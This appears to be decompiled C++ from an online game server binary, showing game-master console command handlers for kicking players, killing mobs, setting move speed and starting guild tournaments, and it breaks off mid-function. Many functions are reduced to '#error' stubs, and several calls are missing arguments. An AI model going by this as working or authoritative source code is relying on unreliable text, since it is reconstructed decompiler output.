&_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit); } //----- (00413B50) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_MobActionStruct.inmove_chase); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_MobActionStruct.inmove_chase; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_Scanf(v5, (char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_MobActionStruct.inmove_chase); } //----- (00413BF0) -------------------------------------------------------- #error "413BF0: undefined or illegal type '#434' (funcsize=70)" //----- (00413D10) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_MobActionStruct.swingdamage.masd_Next); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A4E3C.maa_MobActionStruct.swingdamage.masd_Next; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A4E3C.maa_MobActionStruct.swingdamage.masd_Next); } //----- (00413D60) -------------------------------------------------------- #error "413D60: undefined or illegal type '#434' (funcsize=126)" //----- (00413EE0) -------------------------------------------------------- #error "413EE0: undefined or illegal type '#434' (funcsize=38)" //----- (00413F90) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 signed int v6; // eax@1 char buf[64]; // [sp+10h] [bp-50h]@1 unsigned int v8; // [sp+50h] [bp-10h]@3 int v9; // [sp+5Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_performance"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; PerformanceChecker::pc_loopPERsecond(&performancechech); sprintf(buf, "Main performance : %g loop/sec"); AmpersandCommand::ac_wall(v5, sp, buf); v6 = 10; if ( (*arg)[0] ) v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); FunctionProfiler::PerformanceRecorder::pr_SetCount(&_PerformanceRecorder, v6); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); __security_check_cookie(v8); } //----- (00414090) -------------------------------------------------------- #error "414090: undefined or illegal type '#434' (funcsize=58)" //----- (00414180) -------------------------------------------------------- #error "414180: undefined or illegal type '#434' (funcsize=46)" //----- (00414260) -------------------------------------------------------- #error "414260: undefined or illegal type '#434' (funcsize=58)" //----- (00414350) -------------------------------------------------------- #error "414350: undefined or illegal type '#434' (funcsize=31)" //----- (004143F0) -------------------------------------------------------- #error "4143F0: undefined or illegal type '#434' (funcsize=95)" //----- (00414560) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { char *v5; // esi@1 char *v6; // eax@1 char *v7; // ST00_4@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_KickOutPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = gpp.pp_Buffer + 10; v7 = gpp.pp_Buffer + 10; *(_DWORD *)(gpp.pp_Buffer + 22) = 0; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = 0; strncpy(v7, (const char *)arg, 0x10u); ZoneRingPacketKickPlayerOut::zrpb_Request(&zonringpack_kickplayerout, (#325 *)sp, (NETCOMMAND *)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); } //----- (00414620) -------------------------------------------------------- #error "414620: undefined or illegal type '#434' (funcsize=45)" //----- (004146E0) -------------------------------------------------------- #error "4146E0: undefined or illegal type '#434' (funcsize=61)" //----- (004147C0) -------------------------------------------------------- #error "4147C0: undefined or illegal type '#434' (funcsize=78)" //----- (004148C0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobDistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_MobDistribute(sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); } // 4400F0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_MobDistribute(_DWORD); //----- (00414960) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ChargedItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ChargedItemTest((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); } //----- (00414A10) -------------------------------------------------------- void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this) { _eh_vector_destructor_iterator_( this->MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00414A30) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this) { PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(&this->mapinfo); } //----- (00414A40) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_killallmob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_KillAllMob((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); } //----- (00414AE0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_mobdamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::sm_DamageSet( sp, (char *)arg, &(*arg)[33], &(*arg)[66], &(*arg)[99], &(*arg)[132], &(*arg)[165], &(*arg)[198], &(*arg)[231], &(*arg)[264], &(*arg)[297]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); } //----- (00414BC0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AxialListMobSuicide alms; // [sp+8h] [bp-14h]@1 int v6; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SuicideAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator(&alms.baseclass_0); alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = -1; LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alms, 0); LOBYTE(v6) = 0; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); } // 5A473C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #325 *obj, int distancesquar); //----- (00414C90) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 int v7; // eax@4 int v8; // eax@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ServerSocketCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 >= 0 && v6 < 4 ) sock2gameDB.sb_SocketStr[v6].socket.baseclass_0.m_Status = 3; v7 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v7 >= 0 && v7 < 4 ) sock2gamelog.sb_SocketStr[v7].socket.baseclass_0.m_Status = 3; v8 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v8 >= 0 && v8 < 4 ) *((_DWORD *)&stru_12571CFC.baseclass_0.m_Status + 66 * v8) = 3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); } //----- (00414D90) -------------------------------------------------------- #error "414D90: undefined or illegal type '#585' (funcsize=57)" //----- (00414E80) -------------------------------------------------------- #error "414E80: undefined or illegal type '#434' (funcsize=44)" //----- (00414F60) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 FieldOption::FieldAttr *v6; // eax@1 unsigned int v7; // ecx@2 char *v8; // ecx@2 unsigned int v9; // eax@2 PROTO_NC_GUILD_TOURNAMENT_START_CMD start; // [sp+0h] [bp-9Ch]@7 FunctionEntarance _; // [sp+14h] [bp-88h]@1 char mapname[9]; // [sp+18h] [bp-84h]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+24h] [bp-78h]@1 unsigned int v14; // [sp+8Ch] [bp-10h]@8 int v15; // [sp+98h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_GuildTournament"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildTournament"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; strcpy(mapname, "GuildT01"); v15 = 0; strncpy(lnkinf.linktoserver, mapname, 0xCu); lnkinf.linktoserver[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, mapname); if ( !v6 ) goto LABEL_11; v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v8[12] = 0; v9 = BTree::operator__(&mapdatabox.mdb_btree, v8); if ( v9 == -1 ) LOWORD(v9) = -1; v9 = (unsigned __int16)v9; if ( (unsigned __int16)v9 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v9] ) { start.nExploerTimeMin = 1; start.nNo2 = 1; start.nTournamentSeed = 0; start.nTournamentMapNo = 0; start.nWaitPlayTimeSec = 30; start.nPlayTimeMin = 60; start.nNo1 = 4; WorldManagerSession::wms_GuildTournamantStart(&stru_12571CFC, &start); } else { LABEL_11: AmpersandCommand::ac_wall(v5, sp, "Invalid map name"); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); __security_check_cookie(v14); } //----- (00415110) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EndOfKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); WorldManagerSession::wms_EndOfKQPacket(&stru_12571CFC, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); } //----- (004151C0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // edi@1 int scriptid; // [sp+0h] [bp-38h]@1 FunctionEntarance _; // [sp+4h] [bp-34h]@1 char namebuf[32]; // [sp+8h] [bp-30h]@1 unsigned int v9; // [sp+28h] [bp-10h]@4 int v10; // [sp+34h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_ReroadKingdomQuest"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ReroadKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; strncpy(namebuf, (const char *)arg, 0x20u); if ( ScenarioBookShelf::sbs_GetScript(&scenarioshelf, namebuf, &scriptid) ) ScenarioBookShelf::sbsReLoad(&scenarioshelf, (const char *)arg); else AmpersandCommand::ac_wall(v5, sp, "Invalid Script"); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); __security_check_cookie(v9); } //----- (004152B0) -------------------------------------------------------- #error "4152B0: undefined or illegal type '#434' (funcsize=20)" //----- (00415320) -------------------------------------------------------- #error "415320: undefined or illegal type '#434' (funcsize=26)" //----- (004153B0) -------------------------------------------------------- #error "4153B0: undefined or illegal type '#434' (funcsize=34)" //----- (00415460) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EnterMiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); } //----- (004154B0) -------------------------------------------------------- #error "4154B0: undefined or illegal type '#434' (funcsize=34)" //----- (00415560) -------------------------------------------------------- #error "415560: undefined or illegal type '#325' (funcsize=63)" //----- (00415660) -------------------------------------------------------- #error "415660: undefined or illegal type '#434' (funcsize=80)" //----- (00415790) -------------------------------------------------------- #error "415790: undefined or illegal type '#434' (funcsize=80)" //----- (004158C0) -------------------------------------------------------- #error "4158C0: undefined or illegal type '#434' (funcsize=55)" //----- (004159D0) -------------------------------------------------------- #error "4159D0: undefined or illegal type '#434' (funcsize=48)" //----- (00415AA0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { void *v5; // eax@1 Name4 chrid; // [sp+4h] [bp-20h]@1 int v7; // [sp+1Ch] [bp-8h]@3 int v8; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PartyInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; *(_QWORD *)&chrid.n4_name[8] = 0i64; *(_QWORD *)&chrid.n4_name[0] = 0i64; strncpy(chrid.n4_name, (const char *)arg, 0x10u); v5 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, &chrid); if ( !v5 ) v5 = (void *)sp; (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 1364))(v5); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); __security_check_cookie(*(unsigned int *)&chrid.n4_name[12]); } //----- (00415B90) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ParameterView((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ParameterView"); } //----- (00415C40) -------------------------------------------------------- #error "415C40: undefined or illegal type '#434' (funcsize=92)" //----- (00415D90) -------------------------------------------------------- #error "415D90: undefined or illegal type '#434' (funcsize=93)" //----- (00415EE0) -------------------------------------------------------- #error "415EE0: undefined or illegal type '#434' (funcsize=86)" //----- (00416010) -------------------------------------------------------- #error "416010: undefined or illegal type '#434' (funcsize=52)" //----- (00416100) -------------------------------------------------------- #error "416100: undefined or illegal type '#434' (funcsize=47)" //----- (004161D0) -------------------------------------------------------- #error "4161D0: undefined or illegal type '#434' (funcsize=47)" //----- (004162A0) -------------------------------------------------------- #error "4162A0: undefined or illegal type '#434' (funcsize=85)" //----- (004163F0) -------------------------------------------------------- #error "4163F0: undefined or illegal type '#434' (funcsize=63)" //----- (00416500) -------------------------------------------------------- #error "416500: undefined or illegal type '#434' (funcsize=64)" //----- (00416610) -------------------------------------------------------- #error "416610: undefined or illegal type '#434' (funcsize=69)" //----- (00416730) -------------------------------------------------------- #error "416730: undefined or illegal type '#434' (funcsize=70)" //----- (00416820) -------------------------------------------------------- #error "416820: undefined or illegal type '#434' (funcsize=99)" //----- (00416980) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EraseChargeBuff(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EraseChargeBuff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EraseChargeBuff"); } //----- (00416A20) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobHatchery(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobHatchery"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; MobHatchery::mh_View(mobhatchery, sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobHatchery"); } //----- (00416AC0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_AllCritical(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { int v5; // [sp-4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_AllCritical"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( strncmp("0", (const char *)arg, 2) ) v5 = (int)&roe_alwaysCritical; else v5 = (int)&roe_normalPY; ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_AllCritical"); } //----- (00416B80) -------------------------------------------------------- #error "416B80: undefined or illegal type '#434' (funcsize=126)" //----- (00416D40) -------------------------------------------------------- #error "416D40: undefined or illegal type '#434' (funcsize=70)" //----- (00416E50) -------------------------------------------------------- #error "416E50: undefined or illegal type '#434' (funcsize=63)" //----- (00416F30) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverLinkTo(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { int v5; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = atoi((const char *)arg); ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Enter(sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } // 457440: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Guild_Tournamnet_Observer_Enter(_DWORD, _DWORD); //----- (00416FE0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ObserverOut(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ObserverLinkTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Guild_Tournamnet_Observer_Out((int)sp, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ObserverLinkTo"); } //----- (00417080) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EditSpeed(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { signed int v5; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EditSpeed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( atoi((const char *)arg) >= 1000 ) v5 = atoi((const char *)arg); else v5 = 1000; ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed((int)sp, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EditSpeed"); } //----- (00417140) -------------------------------------------------------- #error "417140: undefined or illegal type '#434' (funcsize=29)" //----- (004171E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_CurTime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int cur; // [sp+0h] [bp-98h]@1 FunctionEntarance _; // [sp+4h] [bp-94h]@1 char buffer[128]; // [sp+8h] [bp-90h]@1 unsigned int v9; // [sp+88h] [bp-10h]@1 int v10; // [sp+94h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_CurTime"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_CurTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; mysecond(&cur); sprintf(buffer, "%d.%d.%d %d:%d[%u]"); AmpersandCommand::ac_wall(v5, sp, buffer); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_CurTime"); __security_check_cookie(v9); } //----- (00417300) -------------------------------------------------------- #error "417300: undefined or illegal type '#434' (funcsize=91)" //----- (00417450) -------------------------------------------------------- #error "417450: undefined or illegal type '#434' (funcsize=87)" //----- (00417590) -------------------------------------------------------- #error "417590: undefined or illegal type '#434' (funcsize=202)" //----- (004177F0) -------------------------------------------------------- #error "4177F0: undefined or illegal type '#434' (funcsize=29)" //----- (00417890) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PW(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PW"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PW((void *)sp, (const char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PW"); } //----- (00417930) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_DebugLogging(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebx@1 char (*v6)[33]; // esi@1 char v7; // al@1 int v8; // edi@1 signed int v9; // ecx@1 bool v10; // zf@1 #434 *v11; // [sp-14h] [bp-24h]@5 char *v12; // [sp-10h] [bp-20h]@5 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_DebugLogging"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = arg; v7 = AmpersandCommand::ac_Scanf(v5, &(*arg)[33]); v8 = (int)"BalanceLog"; v9 = 11; v10 = 1; do { if ( !v9 ) break; v10 = *(_BYTE *)v6 == *(_BYTE *)v8; v6 = (char 